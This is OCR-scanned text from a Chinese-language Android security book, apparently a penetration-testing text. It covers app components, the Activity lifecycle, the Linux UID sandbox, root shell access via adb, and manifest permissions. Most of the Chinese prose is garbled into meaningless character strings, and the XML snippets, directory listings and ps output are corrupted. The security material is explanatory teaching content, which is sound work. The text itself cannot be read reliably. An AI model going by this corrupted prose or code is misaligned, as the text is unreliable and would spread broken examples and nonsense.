i, REELZENRZN, TTM T XL Intent 3248 E s ERIH A GEWE LT,
X Intent XM R4 i EE, RAREMGIRAC LT 7% Intent Xf 5245 E 3
YERY Broadcast Receiver A BE#E RATHIE , WX Intent X 52 H- AT HE R 24E .
Android RGEHH T ZMAGE M (B BBEEK, WRIBEREFESFEN),
YEA Intent X AFE Action FEHIBNE(E, B RGLL & Intent X R HTE A XI5 &

fiio UNFRE—LE Android R4t B ) #% Intent Zh1E

® ACTION_TIME_TICK

® ACTION_TIME_CHANGED

® ACTION_TIMEZONE_CHANGED

® ACTION_BOOT_COMPLETED

® ACTION_PACKAGE_ADDED

® ACTION_PACKAGE_CHANGED

® ACTION_PACKAGE_REMOVED

® ACTION_PACKAGE_RESTARTED

® ACTION_PACKAGE_DATA_CLEARED

® ACTION_UID_REMOVED

® ACTION_BATTERY_CHANGED

® ACTION_POWER_CONNECTED

® ACTION_POWER_DISCONNECTED

® ACTION_SHUTDOWN

YEA Android RGN BN ABRFZ —, MeP (Alarm) K FREFITRE RS
I ¥ sh e = A M Fp. ACTION _ TIME _ CHANGED #1 ACTION _ TIMEZONE _
CHANGED, Broadcast Receiver Z {44~ 5 A EA F P fiim, {E25FHREF A LAEE Ac-
tivity 28 Hi i onReceive () [B] R AN FEIEATHI R FOFRAE . XBF, 1% Activity
255 B 4k 7K android. content. BroadcastReceiver 28, 3f H & 5 4 2K #J onReceive ( )
PREL

Android /i F#E AT LA [r] E 2 ek H AN R &K% Intent, A, TEFE
Manifest. xml 3C {4 o 7 I} 3X 26 Broadcast Receiver #£H {4, 7 GE ¥ i F 72 I i i 3
Android R4E 1, MITHEMCREE A #8 Intent ZE, LARTSR (Time) RZFFREFE R,
gAR P ACTION_TIME_CHANGED #1 ACTION_TIMEZONE_CHANGED |~ #% Intent
e, TEAE Time S FHFEF A Manifest. xml S 7S B b 3 VA BT 380 9 385 14 3
YE, X#E, % FH) Broadcast Receiver 74" REVEM E| Android R4 H, HiTHRKEHE
ahfE k& 4 B, P i &R 40 8005 1% 2 JF /9 Broadcast Receiver, Time L FH 2 FF )
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Broadcast Receiver Z1{4 “TimeReceiver 28” FE Manifest. xml 3C{4 = 75 BR i 1 1} 40
RSB 3 frn, 2B EE 742 (android. content. BroadcastReceiver 28) i [a] iF
ER %1 onReceive( ) ,

B E A ) Intent, 75 Z A A5 K BT 75 BOALSR .

<receiver android:name = “.TimeReceiver”>
<intent-filter>
<action
android:name=android.intent.action.TIME _ CHANGED"/>
<action

android:name=android.intent.action.TIME _ZONE _ CHANGED”/>
</intent-filter>
</receiver>

I E: 3 M Broadcast Receiver ZH44:

XfF LR Intent ZHYE, N FHARF 75 205 K B i BUAL R A4 gE 4k, B
fn, 2t BOOT_COMPLETED ™~ #% Intent zhE, WIFEZ N A F EA RECEIVE _
BOOT_COMPLETED #FR . tt4h, Broadcast Receiver ftj— 2643 PR At 5 PR il ] S Bk
Broadcast Receiver #H /4 22 {5 | #& i) Intent %f 2. 40, 4 % % iR & [ Broadcast
Receiverd 432 f1 ) #& Intent 3T 2K, B 52 # Broadcast Receiver BIALPR . tN5R
1% Broadcast Receiver {4 Fras AUMR, W RS0 & BUH [ H 32 AH%) #§1) Intent XF4 .

3.1.4 Service

Service & Ml T Android i iR T 7Ef5 & PATFERTERAE U1, EBA M5
M, NERERITIES, Wimsh. & RERARNHEFS. HAA Android i HF
IRl LAFERT G IB1T, $R1M Service REETESG Bia4T, 2 24 FH P 4746 21 5 Al i b H
BFAGSNARFN . mE, MARFAATLGESHEC “4E" F Service
b, SEEREXH., Flin, FA4NHEF 4T LA E B R AS B Service
b, EFEMEEHTZE, Hitt, Service AT LI BALRA: BEhF4iE .

o7 PR 2HL 47T LA startService () BRUR B — 4 Service, ILATiZ Service &b
F B RE. HE Service FHF, MR EER, HEYRHINENAMFN
FrE I N TR FF A5 fT/a, Service [Tk LEETT .

o7 PR FE 404 9T LA FH bindService () PR %48 5E %] Service |, 4BAE 4 Service i
HHRER P/ IR 20U, IR R /738 . S8R, Service [A5
HAE WA —FET. — BRYP, Service EPZ -84k, A i 07 FH A2 41 14 5L
oAt 7 PR R B S PR T AR, #RAT LAE i Intent f5 BEHPE — 1 Service,

52 Y Service WiZi B 4k 7R Service J£25, I H ST Pl KL ohAH B Y [e] 37 o o
Service 2 J1L/4~ 8 B2 {14 (6] 8 PR $040. 35 . onStartCommand () , onBind () | onCreate ()
F onDestroy( ) ,
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@® onStartCommand( )

2 H At N AR FF L4 startService () R4S 3 Service B, % [E i sk &
GiAM. BEfE, Service JFIRIEAT, H P stopSelf( ) sF%EL stopService () ek % # I F
N2 SN 8

® onBind( )

24 oA 5 FH AR P 2H (43R A bindService () A% [E] Service 48 ERT, [EIAZEEL.

® onCreate( )

=4 Service HR QYRS [E1IR % R BAATHI 4 LI B onCreate () BREXFE on-
StartCommand ( ) 2%, onBind ( ) pR %A F Z B H#44T .

® onDestroy( )

Service N EMNT, [EVEZ KL

T EERRE, 4 Android FEFENL RS TR, RESZ L Service, 0,
HERGAGFZERARAER T, REMEAH—FF, Service tH7FELE Manifest. xml L
AR B, 7 Manifest. xml 304N fH < application > B F4R%E < service > 75 Bf Serv-
ce, UNfCHBEL 4 v, H A1, android: name B 1435 £ 75 BH By Service 2844, W
Service 1 E X T Intent I JERY, P4 HAth L FHFE o] LLdE o fRsNZE YA Intent 3
%1% Service ,

<manifest>

<application ..>
<service android:name =”.ServiceName />

</application>
</manifest>

BBt 4  Service 7£ Manifest {4+ 75 BH

[7) L Al 7 FH AR PP 4L A4, AT LA < service > R4S P E A AN PR PR il iz FH 2
¥ %1% Service B8 s 340 €. 24 N F 2 F 8 B Context. startService ( ), Context.
stopService( ) 5 Content. bindService( ) PR ¥{#%4E H #5 Service i, ZRZrSH il EHE
FBR, AN SR IR B AOANRR , B 4a AR DR A IR

3.1.5 Content Provider

Content Provider $#{it T —Fh AR [R] ;AR P Z ML ZRHAKEOF R, 58—
Content Provider &8 7] LAFE— N EE G B, HAh i AR F 7] LAi#id % X Content Pro-
vider P[] LERHE . AR N FHARF T A A Intent SEEEBHE, (BN F— Lo @R
FEAMER BRI, #H Intent X 5B ASiE. Bk, Content Provider 5 7E fift
Y% a8, Content Provider il Content Provider {725 F Ui 5K F —Fbn o i 48 O SCEIEL
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WIZWZLWEMEE. Flin, Android RSEH Contact Provider (BEZE A[SE 2
fit2%) o Android R4 ENE T BOARIEE R AN A, REHE1/71A] Contact Provider,
Ak, FREWGAT LIRS BAARE UL 76 R R AR TR, M Contact Pro-
vider ZREVHRIIEHE . Hitk, (RN ARFXTERREAG BNz, SEugi
[a] Contact Provider #15; FHFEFF3KEL, I FHTE R A] LAiE i 8 F ContentResolver( ) pR%K
1jila] Content Provider FJ%#E .

[RI AR TR P 4044 —#F, Content Provider 175 Z27E Manifest. xml SC{4F 7R BH
TE < provider > $RZ N ] LL5E X Content Provider #JAYFR, # android: readPermission F
android: writePermission PR, 5| E A N FHFE R 2H {4 RE% 7E Content Provider 34T
AUEEVERR . Y5 F#E 78 Content. Resolver. query( ) . Content. Resolver. insert ( ) .
Content. Resolver. update( ) I Content. Resolver. delete ( ) pR%{ %} Content Provider #J%{

WEHITIRAER, RASEFHBEATR, BABIRNERIEERBIEL .
3.2 Activity 4 @y B H

EAZRTE RS, BENET Activity FAHENE, HHITE THEELE Activity
L ELRY Rl A AL, BIE onCreate( ) . onPause( ), onStart( ), onRestart( ), onRe-
sume( ) . onStop( ) Fl onDestroy( ) . ¥ Tk, ATPRERMIEMMANH—T Activity )
A A .

WRTETA, Activity B2 5HP#TRER Ul RERm, MARFEEEEZD
Activity, PV A] LAFEAS [G) B9 Activity 22 [8] To4E Hb 4 ¥, o @] A8 ) Intent XF 5 )5
S HAR AR Activity, B, T Activity 94 B ZEXREE, SLHX T
RiFAFF KA, TEELH Activity Y] s 2 11 i (3138 49 45 2 oR B A0 B AR 4019 . NSk
Activity BT 75 f4 [ 8 sR AR A SCBE, AR AT Ak -5 3508 A 72 0 B AR/ s AT S 1T
T #Y [A) L

Activity 2 F T4E47 & 3 Android i 2 F B Activity ZH14 FH P AE i FH
FERT, Activity 22 4 4 R ARURZS . Flan, i Activity F'zsiJH%}iﬁkE%E
HHIAES Activity B TRER, #EZ?E@FHF’EJ?&\ BEABITIRAS, TZATHY Activity
A%, (LTFH Activity Z T . RS HIE Activity FIARRARZS A Activity A= i JE 3
R [ B . B2 — A Activity BIZIRT & . PG P ALK, BB
onCreate( ) , onRestart( ), onStart( ) 8¢ onResume ( ) BR%X, 124 Activity REEA.
HAEER, REOKEH S —4 0 k%, 40 onPause( )55,

® Wi /EATIRZS : 24 Activity SEAREERTA, HIE AP AN, TR
A, B, Activity {3 F 24 /TAE 55 HERR A TR, ma oz FH - $RAE

® FEARA . 24 Activity b [H HFL A —1 Activity, i EL e = 4 s (BT SR % L
ATLE, b FEERA, T2 i Activity BA Z 2SR, EEEWN,
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BT Activity IREFERARRSHRAGE, A, WRAGELTFHEFEHE
ARER, RGE “RIL" ZRE Activity, [EINES (B BTF

® (ZIERAS : X Activity SELPEH— 2B Activity B RS, AFEFIERE, ©
TR RE A RS FRA G R RMXTHFRARILE, FFUERNE DEHRE
B, ERGENFEARH, &Fa “FRIL” XFEH Activity,

® RNIEER/ A ILHPRES: 3 Activity 4L TEERL ILRE, REEESRERE
TBOL “ARIE” XFEH) Activity, [EIZS[EBEIR, 2% Activity EFIR SR, FEEH
PIHRHRS R A E S .

Activity 4 fp FIPR S BR R NE 3.6 fin, BT EABERS Activity IR
Pt T E S HLRY B R R AL, BIAREIERAR Activity BIARFRES

(SR Y pEETE

) STh Sl
OnRestart()

5 —AActivity i A i & B7R

Ll
W PP B (1 3 %
Activity
i 5 e R A AR Y
N FF AT F P BT I 2%
o} Activity
ZActivity £ 1 Bk pE R 45 B

Activity %1

3.6 Activity A iy ] 3 1 [0 3R BR
Activity TEFSZ AT, ATRESLIH ZWRBMIGHRATGER () RE. SRR,
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R SARYE Activity RPRZSFE 401 FH X 5L A9 (B0 9 sR &R, S 1T LA = A i (6] )05 X Acc-
tivity A= g R HEAT 407 o

® TRA MR Activity A2 A MR B 55— KA onCreate () PREUIT 1A,
E % onDestroy ( ) BREUAFHZE R, ARG T Activity TR BPRESZEH . FEonCreate( ) B
b, EELIRT Activity BPRESMERMECE, ERPILH K. MAE onDestroy( ) B§
b, LI Activity 5 TR IREAL

® ] WA AR E . XL Activity 7EFERE I B BOIX BEA B, LA onStart() P&
¥R, EF onStop( ) RBOR LR, HilE, KE Activity Xt PR UL A LAY,
(B P RLFRE S Z HITRE .

o Hi G A AN BN, HFPREERE Activity #1738 H., LA onResume( ) B
BOR A IS, E2 onPause( ) BREUEFHE R

F3.3NET Activity A= JE] 3 o = 220G [[] 97 R %R

% 3.3  Activity 4= 5 B HA B8 & ¥

EE B B
onCreate( ) Activity S5—Ua shEFRH, AT IEERAE
onRestart( ) ZHIE IEEY Activity, [B13)5FRERT & . BB FF 4R R
onStart () Activity FEABRERT S, BB P Al AR A
onResume( ) Activity #E ABRBERIS . RESS AN P 225 A A A
ALY G E Z R0 Activity, 24RT Activity #EAE ERRASR I, @ % FEEX
PR P ORAF R A 45 2R
onStop( ) Activity A~ a] I, B35 B
onDestroy( ) ZG S Activity, FERCH TR A FH

TEEET— M HRFC, BB Activity B4 AW, A T ik
TP RERE A7 (5 B i 2 Logcat #wH, f’ﬁ%iﬂ“ﬁﬁﬁﬁmﬁﬁﬁﬁﬂﬁﬁ?{%
M. ERLAREF = AR Activity (BJ UL % SRR M) MM Activity A,
Activity B Fll Activity C, #N[& 3.7 Brzn, FFA] LA R i L A4 R 7E AN R Y Activ-
ity ZEIGTR, YU R G R AR, 2 ATEAT 0 Activity FEAME
o MR, FHPHUATLUR B 5 2 BEAT Y Activity R T, H%RAIET,
F BB AN T IR FE Y3 Activity % BR R AT IR : MRS Bh Activity A, Activity B
il Activity C, #RJ5 B UGR [ 5] 2 BT f9 Activity B F1 Activity A, i Logeat w\H,
AT LAE 2 Activity A= i [ 391 A AR O BR800 1R A 8

Activity Lifecycle [ FIFEFFiE R~ 41 :

1) HF Activity A BIiZR HBRFRE Activity, B, X4 HRFITIFR, Ac-
tivity A B2 5. HNE 3. 8 FiR, Activity B EESER  Activity A JF, % Activity A

O R B4 K Activity Lifecycle, {3 AJJA developer. android. com R 44T F #asd7. —HE
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x o R 759

Activity Litecyche Activity Lifecycle
Activity A Activity B
a0 f s s J e st s | s foen

Lifecvcle Method List Lifecycle Method List

Activity A.onResume( } A.onStop( )
Acrivity A.onStart() \ctivity B.onResume(}
Activity A.onCreate() B.onStart()
B.onCreatal )
ty A.onPause()
A.onResume( )
A.onStart()

vity A.onCreate{)

Activity Status ivity Status

Activity A: Resumed Activity A: Stonped
Activity B! Resumed

‘Aethviny Lifecycle

A

Activi

, &

Activity B.onstopd)

Activity C.onResume( )
Activity C.onStart()
Activaty C.onCreate()
Activity B.onPause()
Actaviry A.pnStopd )

Activity B, onResume( )
Activity B.onStart()
Activity B.onlreate()

Activity B. Stopped
Activity € Resumed
Activity A. Stopped

& 3.7 Activity Lifecycle [ FH#2FF#RE

Ko 7 F4) [ 3% pR £ FH I &7 onCreate( ) |, onStart( ) #f1 onResume( )

2) g “Start B” %4, B3h Activity B, & 3.9 Fi7n, &% Logeat B 7]
WL, Activity A S5 EH T onPause( ) BR%EL, Ffif5 8 EARETR, FEED Activity B HERE
J& 3l Activity B, onCreate( ) . onStart( ) #l onResume ( ) PREUKIK B . — B Activ-
ity Bt AZIFEEERT & B8, Activity A BI9E F onStop () B&%¥. MIE 3. 10 Faf 1L,
Activity B P3| Activity C e, & %50 F G R A R
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FERTE R, Activity C AKX VE ] onStop () BRELFN onDestroy( ) pR%Y . #E onDestroy( ) BA
o, Activity C 5 B RG R IR BRI . 7 Activity B 1 bS5 “Start A” &4
a3l Actxvnty A B, XNz [B13)E eR S ”ﬁﬁfﬁﬂ W 3. 12 Fras.

S‘ xyltn _p:oc-lu Actzvxcyuuuqe: s:ut.oq acTivicy: Inr.an: { cmp=com. ul.wlu eandroid. m.:ymf Actx.v&:y! ]

200 |com. -xwh a. AccivicyA | OnFsuse

200 :nu exazple.a. Au.v;:yﬂ OnCreave 13
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LEE | -v-‘-J?m" _|BecivityMasager  Displayed activicy com.exezple.android.lifecycle/ Activityh: 506 ms (socal 506 =
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3.3 NG

AEPEHE T Android I FHFRFFZHY, & Activity . Broadcast Receiver, Content
Provider Fl Service . 5% 1" Ff TN HIARF R4 Z (B 3l AN ] 64 7 FH AR P 22 18] SEBRAS B
HTH B A——Intent, FfifF, SR T Activity BRI, LAKAE Activity TR SEH
)L S (] 8 PR AL ﬁﬁzigﬁfﬂﬁﬂ'l\?g. B S REAE T £ 29 Android 1 FHARFF
Y. ArFZIRIAZE AR, AR Activity A= U A ) 3 [ el
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AEEEIE Android REMEENG], OHERGET ARNELHH BT
BB AN, B 2 FIOAL, EH M ARET Android RGO RLH,
SELEAS 3 MO, SR T Android 7 FIERFF AU TERNAIIR, ANFRRE RO 4 e
e, BFELYE., AZERETX ik Android RS VS MM HEZE R, EENE
Android B %25, LAK Android #2540 4 F A & APt 2 (8] 8 {F  ( Interpro-
cess Communication, IPC) #L#|“ .

4.1 Android {3

Android ZGEHIIF & A 5L B £ FE Android F & BT H5IA T L2, An-
droid R Ge5& | Fr A 19 Android i FFE ¥ {fi FH AUZ & 24 #L, 7E Android [REZ L,
#EE Linux ZEREEAY % 2450, BIEE—4~ Android I FHAR FFAE M S A 2B 1T,
HAi#BRAR T EZETT, HFEEA N HRFA A QN —H 8RS

TENHJZ, Android ZRG0R I NI L (AL PR % B i (Bdkik) h R ER
AR A FFR P R 3C L, sl AR R IR A R o o PR e T 15 2 FH P At
HEA REVTIRI SR %5, WikATHIE . A%EE%, HEFE “ 8" HiFkiE
FUPR, AIRARVEA GBI AT . BRSO T, O AR A e BRAT AT o] BT RBR At iz
Fi . PSR B R AR, g SR, SEU R A B AT R 4545
TEHCE R YR R B T ke, NARFER CBRX" HiEsR X R iER
FUBR o O FH R 7 4% 3 AR PR A% B R T — ol xof 52 B A 285 B9 5 1) ML i Ak 32 BR APT A9
A FAHLE

—A~ Android R FAFERF (S4iff) #BAT7E—MSLAY Dalvik ERIBLE, X
BERRTE AR T — A B 2004, HR, RREBIXHMHEm—EsmrES. AT
EAIE S | REW B AL Z 1T, Dalvik 23012 i thAL IS AR i A 1R /1N 25 (8] BE
W FTRERD o AR L 2 ST R AN R A T . Bk, HAREESKEE
KWl di 4, ST, Android (AL PR 25 ¥4 HUAE Dalvik BEAKLASEI, TR
£ Linux PEACHS S, FEZ 7T i) o il P47 -

G AR AR R B 2 L 1PC L B SR . N, E Linux REEL, (55
Je—# IPCsfg R . — Ak
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7E Android RGN ZLTTHE, IR/E Linux ARIRRIR], FEiESKUER P AEE
4 ID AR % 2, AR, Manifest FRURIZE, SURHE T 75 —F ML 2225t

4.2 Linux fFR#15

Android RGN B — P H LR N HFEF 2B — M —#) UID (User ID, AP
ID) F1—A> GID (Group ID, B4 ID) ., H—LHEMNN HBRFEAE —4H 5 UID
GID RERHIBHRLA A . RANAREFA S (GEdH UID) s@RAHP (B
root FF) B U [aliX Lo B8 F SO ROALBR . oAt i AR P A B A B P AALUR
(L8R, AR T ENZAR) , B ULASGE V7 i) H At 5 AR F B 0. X0 R
Jr e 2[R L i i R AR e el 4 (R A =25 S i, U3 o 76 A A 25k A MAC ( Mandatory
Access Control, S&if|U5AIEES]) ZeBAISCHL, XS NEEE T — T EHTHE.

7E Android 245 &, BN HTEFA T REILEF—A UID 8GE 7 F— 1 # &
H, XERENENER THEMNEHARGESZ (AXNABRFEZ2MHETANEE
BEFARNE) . Bk, MFRHHARFEFEAGRDR, RIEZEABHNLZEEZ X
HE, B— Android [ B FEERI AR ET, A ITHBEHEFAC
) UID, XEESLEER R 2 Rtk v A ik . M, (57 R BB A Fl A< s AR 55
(CARAEHASHIE) , Tk 2n @38l Android REAMFE, EHFHMELRBE,

TEEBNE, Linnx B— 1M ZHP ., SE50ERS, 1 Android R4
] 4R (A B P A RS . e Linux FACBRALA], Android 7 FHARFF K A Linux & f T
ZRPHESERRRRE LS.

& 4.1 ff s 35 87 19 3% 823 Android AEHLLER A9 FH - UID, H Az A P9
UID #1 GID #§2k 0, 7E2& UNIX (9IRS #l 2 X FE Y, Rz P A&,
Y TF 4 Windows 248 1) Administrator ( REEEH 5 ) . HHH P Al ARATAET
B4, ViR TR 3.

FEEEARE, ] adb T BAEERIES RS EhE shell F2FEC ¥R T F P root AR
(BB AR ) o SRTT, WRTEAERE R FHIR & EEE ER R, M
P HEE3kiE “system” #F “shell” FIFPHR, BRAIEA P EAREZFI LH#TT

© Shell BF AT (KBITFHZ), £i5 “HMEHEFHORAT" FF. 261F DOS T command
FE KA cmd. exe FRIF (M S#RME ). HTREHP &4, REHBRMENHBRE. 4
shell Z}FAs: FIEA M shell 47 shell, E5EE X EAY shell 45592 iy S 72080 shell, RUF 0
FURASHIERE , shell 24844 1738A9 shell, Android 4t Shell # FE a3l i adb T E7EHH#EAY Android
B TAURS LR Eh, MRS aEiaS Android REEKZ Linx WA —E, BHEAP 58
ARG Z MR E, NEHFHPMA, MIRERGBBRHPOMA, HFELHEEFHERENEERS
BN GR . ——iRHIE
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pentestusrl@tools-gibbons-vm-2:~$ adb shell
# id

uid=0(root) gid=A(root)
#

El4.1 fEALES EHUT id 74

“root” AbFH,

H—> Android R4t b B N HIF2 ¥ 7E/ data/data H 5% N &R 45 B B0, 0
B 4.2 fin, fi/data/data B FHAT “Is -17 654, 450 H i A ST AR
Fri@H R (UID) Fffd (GID), LIRHAMMMTER. NEPAIL, B E M
TR P RER B U e 80 & A /9 UID, Bt E AHE[E

ME 4.2 AT 0L, P app_1 (g2 N 27 htmlviewer) #65 H C #3014
com. android. htmlviewer, [Ht;, ARV app_5 #4 B com. android. music C
e AR S -

pentestusril®tools-gibbons-vm-2:~$ adb shell

# cd /data/data

#1s -1

drwxr-x--x app_1 app._1 2011-09-28 02:52 .android. htmlviewer
drwxr-x--x app_2 app_2 2011-09-28 82:52 com.android.quicksearchbox
drwxr-x--x app_3 app_3 2011-09-28 02:52 .android.defcontainer
drwxr-x--x system system 2011-09-28 02: .android.server.vpn
drwxr-x--x app_5 app_5 2011-09-28 02: .android.music

drwxr-x--x app_6 app_6 2011-99-28 02: .android.providers.applications
drwxr-x--x app_7 app_7 2011-09-28 02: .android.wollpaper.livepicker
drwxr-x--x app_8 app_8 2011-99-28 02:57 .android. fallback

drwxr-x--x app_9 app_9 2011-09-28 02: com. svox, pico

drwxr-x--x app_1@ app_10 2011-99-28 02: com.android. inputmethod, lotin
drwxr-x--x app_11 app_11 2011-09-28 02: android.tts

drwxr-x--x app_12 app._12 2011-99-28 02: com.android. soundrecorder
drwxr-x--x app_6 app_6 2011-99-28 02: .android. inputmethod.pinyin
drwxr-x--x app_0 app._@ 2011-99-28 02: .android.providers,downloads. ui
drwxr-x--x app_@ app_@ 2011-09-28 @z2: com,android,.gallery

drwxr-x--x system system 2011-99~-28 02: .android.providers.subscribedfeeds
drwxr-x--x app_0 app_@ 2011-99-28 02: .android,.providers.drm
drwxr-x--x app_14 app_14 2011-09-28 02: .android.customlocale
drwxr-x--x app_16 app_16 2011-09-28 @z: .android.spare_parts
drwxr-x--x opp_17 app_17 2011-99-28 02: .android.speechrecorder
drwxr-x--x app_18 app_18 2011-09-28 02: .android, term

drwxr-x--x opp_21 app_21 2011-09-28 02: .android.packageinstaller
drwxr-x--x app_22 app_22 2011-09-28 02:53 .android,certinstaller
drwxr-x--x app_ 23 app_Z3 2011-09-28 02:53 .android.netspeed

drwxr-x--x system system 2011-99-28 02: com, android. systemul

drwxr-%--x app_6 app._6 2011-09-28 153 com,android,contacts

drwxr-x--x app_Z4 opp_24 2011-09-28 92:53 com.android.protips

drwxr-x--x opp.25 app_25 2011-09-28 02: .android.camera

drwxr-x--x dpp._26 app_26 2011-29-28 02:53 c android, sdksetup

drwxr-x--x app.27  app.27 2011-09-28 02:53 com.android.calculator2
drwxr-x--x

app.29 app.29 | 2011-09-28 02: -om.android.development
drwxr-x--x system  system 2011-09-28 02: n.android.g ders.settings
drwxr-x--x app.6 opp_6 2011-99-28 02: om,android.providers.contacts
draxr-x--x radic radio 2011-99-28 ©2:53 com.android.phone

B 4.2 /data/data H 5 FHUUT s i 25 E HRTRRER

24 Android [ FH 72 J¥ 8 F| getSharedPreferences ( ) . openFileOutput () 8% ope-
nOrCreateDatabase ( ) BR B2 SCAFRT, AT LAE MODE_WORLD_READABLE i/ 8k
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MODE_WORLD_WRITEABLE #5i5. Aid, GSREERFIT & G BA # H B X 7
Mris, NKSSFBECAN AT eSS N HeIE S, BIEXE X UR T
N AR o

B #Y UID 2 i%48 e iz 17 BT E A2 40 A & /9 ID, B W] LAvi (Al A J& i%
UID §9&FhA st scf:, ik bR A RE vy el ix s34, HA AR ir R A @ [PC
IlEA U SHEE. B " HEEsfTaa 8 2 fithk s, DIRERS.

FERRAYUARE shell BIFHEH “ps” @<, BRERAETHELLERERFE
BENE 4.3 s, WEFATIL, B3R (WENMHER) %‘M\Eﬂ:
Xtz 9 P UID,

app_13 3 29132 fEFFFFFf afddcS1ic S com.android. launcher
system 3 21392 fFFFFFFf afddcSlc S com.android.settings

app_6 1 76 26296 fFffffff afddcS1c S android.process,acore
app_19 9 21356 fFFFFFFf afdBcS1lc S com.android.deskclock
app_24 9 20200 fEEFffff afddcSlc S com.android.protips

app_5 2 5 20 20444 FEFFFFFf ofddcSic S com.android.music

app_2 21192 €fFEFFFf afddcSic S com.android. quicksearchbox

app_@ 238 Be 22428 TEFFFEFf ofddcS1c S android.process.media
app_15 249 33 95664 21728 fEFFfEFf afdlc51ic S com,android.mms
app_28 279 33 22896 frEfffff afdocSic S com.android.email
root “ : 732 344  cP@3da38 afddc3ac S5 /system/bin/sh

app_36 345 33 853 23728 fffffEef nfdecSlc S com.mj.iCalendar

root 35 £ R 324 DOODOORE afddb4Sc R ps

K43 R “ps” meBRHEMBEXER

com. mj. iCalender $EF2 P& A FH P & app_36, H UID 436, i%H 4 KH UID
& iCalender B AR FFFE LA HT, HERHIABEITEH . I, AFREMHRERE T
root BY, system I, gt 2EAH ARG oot A EMESH#HRE, W init
PERREE; system F PV B AR S5AE BEAR HE AR . X SEARIR B TR A TR (AN A H A R
Android ZhfiE, L, XEeifFREA GRS P U5 R A

TE Manifest 3C{4EH, R F Al LA{# A “ android ; shareUserld”  J& $4 i7 3K [R]
fib S AR P AL 2 UID, 40 SR 57 FI AR e R g 5 52 UID 9 1 FH % e (o P A [R) B9 3E 45 45
4%, W Android ZGE A% K . Manifest SOt R F—4> UID BRSO -

<manifest xmlns:android="http://schemas.android.com/apk/
res/android”
package="com.example.android.foo”

</manifest>

4.3 Android Manifest Y[R

Linux PYAZE R A R L AR R v AR AL, BELIE BT B ARV 1) 45 B 0% %diE 2 A
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Pl B, PR IE S G0 0 OB . 4k T E A el
R EESHBRENIIT. RN AREE S P
BHAT EREEIRIE (R EEER) , EE |
FIFER (MBKREAGE), SR H bR
FRilf5 (0 [R) e M 1 07 PG 1), 00 7
MAC fEA R ER X LB AR, B R AR 7 76 EL A
B (ED Manifest SCHF) b B BT 5 ALRR
Y ai Ll i SN I O PR TI  Netvork communication
HHC TR B ALRR, AP R e, o Starage
4-4@?%0 Hﬁ)ﬂﬂ:ﬁéﬁﬁ\‘;%i& (%B%i&) }%% 45 Phone calls
LR BT AOAURR, Rt e, FIP R ARk
P D332 107 PR P U ) 6 T B AR 5 5, T
B4 VTS5 B AR . X TR R R i SR A v ®
—HRR, APELLEES, BALHE
4, —E PR MAUIR, Android R4  [IREEETUETEE
@5 Linux PIAZ S0 7 PR FE BT 155K O R0 T T
AL IR R A TR, FEED
R, —BEFPHERN BT IR OAR, B ma4 mREFRAERHRER
FEEFRBA TN, ME—Iik DA HERIZ
R, XREE R Android REERRELLEITRIIR AR, [H i hE L S8 FIFR T 9
FH P A P TR AR B AR

I 4.5 i, 24ME 7 Android S FH T 3% F # 0 AR FIE, B 5 B9 Android
IO FEY T S e 2 I PR I P A O AR 7 4 P2 (B S 74 (49 Andiroid 37 ]
TisgaR NIt , BemIMAEA A 2421 Android I FHFRFE P2k E ., WS P B R #
T.apk ZHCH, IR RAEAELSCIEZ3E0E, AP A RET 81 R 4 R 1 3% 4K
{4 AT REAEAE RO 2 4 IR S ) 45

4.3.1 MRIBERK

FEBRINEULT , Android I FIRFF AR REPAATAE 4R AE, 35K 4% 25 6 i 1 1 il 2
RO P RS, AR 4 BB VIR), BTLL Android S IR FATE 50" Ho
R IX R P Android #51E, XEHEMEAE Android Manifest SCIF iR, AHXT T
Z W Linux ALBR, 38 9% 4535 2 75 R B Manifest A% PR 375 3 A4 PR 22 7
Manifest 3 {2 P9 #5#) < uses- permission > bR4E T A I, T T — R AR 1R 5 1F)
FIER AR MMS ( Multimedia Messaging Service, A% ERS%) 1HE (3w
WHHFAE) 5 SMS (Short Messaging Service, FifFi %) 5 CGHT WA AA
%) AURHIGIT

Do you want to install this

AlOW this application 1o:

i Your messages

s Services that cost you money
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<manifest xmlns:android="http://schemas.android.com/apk/
res/android”

package="com.android.app.foobar” >

<uses-permission android:name="android.permission.
INTERNET” />

<uses-permission android:name="android.permission.
READ SMS” />

<uses-permission android:name="android.permission.
READ MMS” />

</manifest>

Permissions

THIS APPLICATION HAS ACCESS TO THE FOLLOWING:

| YOUR ACCOUNTS

. MANAGE THE ACCOUNTS LIST

Alows 8n agpication 1 pesform operalions e adding. 8nd reeoving accounts snd deleting thels password.
USE THE AUTHENTICATION CREDENTIALS OF AN ACCOUNT

Allows an apphoation to mquest authantoation ‘okens.

YOUTUBE
Allows sppScitions t agn in 1o YouTube using the socounifs) shored on this phone
YOUTUBE USERNAMES

Gmail Adows appiications (o sea the YouTube Lssmame (s assackatad wih the Googis scoauni(s) storad on his phona

GOKiLE pie 9

AN AT NETWORK COMMUNICATION

i FULL INTERNET ACCESS

Google Trans!ate Allows 3 appicstion o creatn refwork sockets

SOO0LE e &

* % & &4 (110078 PHONE CALLS

Free READ PHONE STATE AND IDENTITY
Alows the appication o access tha phons lnetures o the device An apolicaion with this panmission can detsmine

- ® the phona numbar and seclal numbair of ts phong, whether o caill & active, the nUmber that call i connecied 10 and

t* JLE B o 1
1 8" A e a8 188}
_—
STORAGE
% ! MODIFY/DELETE USB STORAGE CONTENTS MODIFYIDELETE SO CARD CONTENTS
#is a0 Alows an appication 1o wifte 1o e USB storage. Alows an applcation i wiite 1o the SO ot
! YouTube Remote

COOGLE NG § SYSTEM TOOLS

o d D) CHANGE NETWORK CONNECTIVITY

Fiee Alowa an application 10 changs the ssala of nedwork connetiily

Tob FROM SLEEPING
;m WIFI for You PREVENT DINICE
!. AREY AT Allows a1 application 1o prevent the davice from gaing 1 skep

4.5 Android 4% 7~ YouTube [ FAE 7 BT 75 BOALFR 31 3

A SRR AR P AT B A A PR A 44, N2l SMS {5 &, Android REE 44
[a]—4 SecurityException (Z25H) LN, Android £ X T K& KB IA
BR (B Manifest A2R) , # R KB IR HIFE P IRE, WniEHe SMS fF R, Rk MMS
BE . Vi EERM AR ARG S, M, NARFEA LA E SR, 6ilin,
R AR i Activity BB AHRE A O B9 ThRE 45 HoAb R R P GE A, =00 F
FRARE AT B C 5 SCHOANBR , T A Bk At 1 R G

A0SR R AR A 4 E B A N R (SENEM) B/ g e
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i Activity, FJ{E Manifest SO/ HR {40 T AUAL RS RIS IR .
<manifest xmlns:android="http://schemas.android.com/apk/
res/android”
package="com.android.app.foobar” >
<permission android:name="com.android.app.foobar.
permission.EXP FEATURE”
